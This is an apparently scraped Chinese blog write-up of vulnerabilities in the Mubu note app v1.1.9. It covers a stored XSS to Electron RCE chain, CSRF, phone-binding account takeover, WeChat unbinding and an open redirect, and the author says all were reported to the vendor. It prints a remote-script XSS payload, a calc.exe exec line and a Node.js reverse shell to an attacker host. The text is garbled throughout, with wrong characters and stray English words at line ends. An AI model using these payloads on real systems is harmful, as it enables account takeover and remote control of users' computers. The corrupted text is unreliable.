幕布V1.1.9最新版漏洞集合

0X00 前言

幕布本人最先接触是在P神的知识星球里面看到P神推荐的,后来下了个用着还挺好用。html

以前一直都放一些零零散散的笔记,最近整理的时候,一时兴起,本着漏洞源于生活的态度,遂对幕布的安全性作了些研究。git

 

0x01 背景

幕布是一款头脑管理工具,用更高效的方式和清晰的结构来记录笔记、管理任务、制定工做计划、头脑风暴。用最好的方式释放您的大脑!github

使人以为舒服的是,就算是免费版也支持多平台同步,相对比其余软件这个很良心了,还支持多种格式导出,支持脑图演示。shell

 

0x02 前世

早在17年,栋栋的栋师傅就对幕布的1.1.0版本进行了研究,发现了多个CSRF,如保存文档,建立文件夹等。搜索框反射XSS,文件夹名XSS,文档名称XSS(在查看思惟导图的时候触发),昵称存储XSS等。windows

因为幕布使用Electron来开发,致使咱们只要一XSS便可执行任意命令。浏览器

根据栋师傅的文章,我测了一下,发现现阶段1.1.9版本的搜索框XSS依旧可行。安全

 

一样文件夹名的存储XSS也是存在的,点击文件夹便可触发bash

文档名XSS(在查看脑图的时候触发)这个已经修复了。微信

XSSRCE其攻击链以下:app

 

0X03 此生

基于上面的了解,我知道幕布应该有多个功能点存在CSRF和XSS,找到漏洞并不难,难的是找到一个较为完美的利用链。

栋师傅的分享文档,昵称XSS,建立文档而后脑图查看触发,我感受这个利用链有点复杂,且PAYLOAD过于明显。 

通过一番思考,以为攻击点仍是应该放在分享文档页面中,这里是与别人交互的惟一入口(目前来讲)。

分享文档页面中包括了什么呢?

 

 

经测试,头像处作了过滤,昵称的XSS也已经修复了,目标放到标题和正文。

标题一番测试以后也是过滤了,那么只有正文了,为了更好的测试,特意开了一个月的高级会员,高级会员能够插入图片,想经过图片文件名的方式引入XSS,但发现被过滤了。

中间还测了幕布的标签,但没有效果。(留待白盒审计其解释原理)

不放弃,继续研究,看到保存文档的请求包

会发现有一个叫id的参数,回到页面,F12检查,发现这个id值是做为id属性的值,做为节点解析使用。

直觉告诉我这里应该会有问题。闭合双引号,div标签,弹个框试一下。

好的,成功弹框了。

 

 

可是弹完以后,正文把后面错乱的标签代码显示出来了。

后面要作的就是把PAYLAOD完善,不让错乱代码显示出来,让这个插入了恶意代码的文档表现的像一个正常文档同样。   

并且这里的触发点堪称完美,只须要用户打开文档,减小触发的步骤。

经过分享文档或者投稿到精选,其余用户登录状态下浏览,而后触发XSS,直到在客户端查看触发RCE。

这里有一个问题是分享连接都是公开的,别人不须要登录便可查看,但为了可以利用,咱们必须让用户登录;

还有一个问题是用户在PC的客户端里面没办法直接查看精选页面和分享页面,默认是经过PC浏览器打开页面的。(PS:经过PC客户端的”幕布精选”菜单访问的话,会自动登录上帐号,这里还有一个任意URL跳转的问题)

那么是否能够达到用户点击连接,就可以直接触发RCE呢?

由于这里存在跨端的问题,从浏览器跨到幕布客户端,须要一个桥梁。我想到的桥梁是利用Custom URL Scheme来拉起幕布,让幕布去渲染这个带有XSS的文档而后触发RCE。

但逆向了一下幕布的源码,发现它没有注册相关的URl,因此这个思路行不通,但不免幕布后续更新会加入本身的URL Scheme。

现阶段只能是经过”自动同步”这个桥梁,将咱们的恶意文档带入到客户端中去,而后等待用户查看触发了,这个点是最为致命的点了。

根据现有情况,个人攻击思路以下:

被动方式:用户登录态下,把咱们这个“丰富”的文档保存到本身的帐号下,在客户端查看时触发RCE。

主动方式:建立一个登录页面的弹框,诱导用户登陆,只容许其登录以后访问分享文档。而后再利用XSS建立一个文档,等待用户在客户端查看。

总结一下其利用链以下:

固然这里是以RCE为目的,也能够XSS打帐号密码等其余方式,那样就能够随时掌控用户的帐号,查看其私密文档,建立恶意文档,等待其查看,触发RCE,控制目标电脑。

分析讲完了,下面是验证过程,首先咱们须要让文档看起来是正常的,那么就不能像以前的PAYLOAD同样,得利用div标签的事件来触发。主要是onclick onmouseover事件。我这里用的是onmouseover事件。

" onmouseover="s=createElement('script');body.appendChild(s);s.src='https://xsspt/xxx'

文档看起来就跟正常文档同样,触发的话须要用户鼠标悬浮在DIV上面。Web端有no-referrer-when-downgrade限制,须要使用httpsJS。客户端则不用,最好直接用https的一了百了。

windows客户端打开,弹个计算器

弹计算器的代码:

require('child_process').exec('calc.exe')

Mac客户端,反弹个shell

 

 

反弹shell的代码

var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect({set.port}, "{set.ip}", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});

关于electron rce 能够在查看这篇文章

 

0x04 番外

逻辑缺陷

绕过原手机号验证,绑定新手机号,接管账号

修改手机号正常流程是须要原手机号的验证码验证的

 但咱们正常走一遍流程,把绑定新手机号的请求抓出来会发现,根本不须要原手机号的验证码。

 咱们刚开始的手机号为132

第一步给要绑定的手机号发送验证码

 

第二部用获取的验证码请求绑定

 

 

刷新设置页面,会发现已经绑定成功了。

其中第一步任何其余用户发送便可,获取到验证码,而后建立一个页面,骗取目标用户去访问,利用CSRF攻击,接管其帐号。

 

绕过微信验证,解绑微信

好比咱们绑定了微信,就能够用微信登录了,正常解绑微信是须要,微信验证一下的,可是咱们发现把解绑微信的请求抓出来,直接就能够解绑了,且存在CSRF。

正常流程来讲是这样走的。

抓到解绑微信的请求以下:

而后发一下包就能够解绑微信了

刷新设置页面,发现已经解绑成功了

 至于绑定微信,须要获取state参数,须要发送请求,只能是XSS来利用了,因此有了XSS,我就能够获取这个state参数,本身构造参数绑定微信到目标用户帐号上。

 

任意URL跳转

主要是客户端幕布精选跳转到浏览器里面自动登录的请求:

在客户端点击”幕布精选”菜单,抓到这样的请求:

https://mubu.com/client_redirect?token=xxx&next=/explore

其中next这个能够填写咱们本身的第三方连接,token正确与否没关系,甚至去掉这个参数都会跳转。

 

CSRF (所见之处皆可CSRF

设置昵称

设置昵称的请求为POST请求:

但修改成GET请求,同样能够。

 

经测试原来全部修改,添加,更新操做为POST的请求,均可以用GET请求来发送。

建立文档

这里只能够用来建立一个空的文档,建立一个有内容的文档须要通过几个步骤,须要有XSS才能建立有内容的文档。

绑定手机号

 解邦微信

 

0x05 总结

这篇文章记录了对幕布安全性的研究和一些攻击思路,上述全部漏洞均已报备幕布官方,请勿用做非法攻击。

有些图看不太清,放个原版文档连接

博客占坑~

相关文章
相关标签/搜索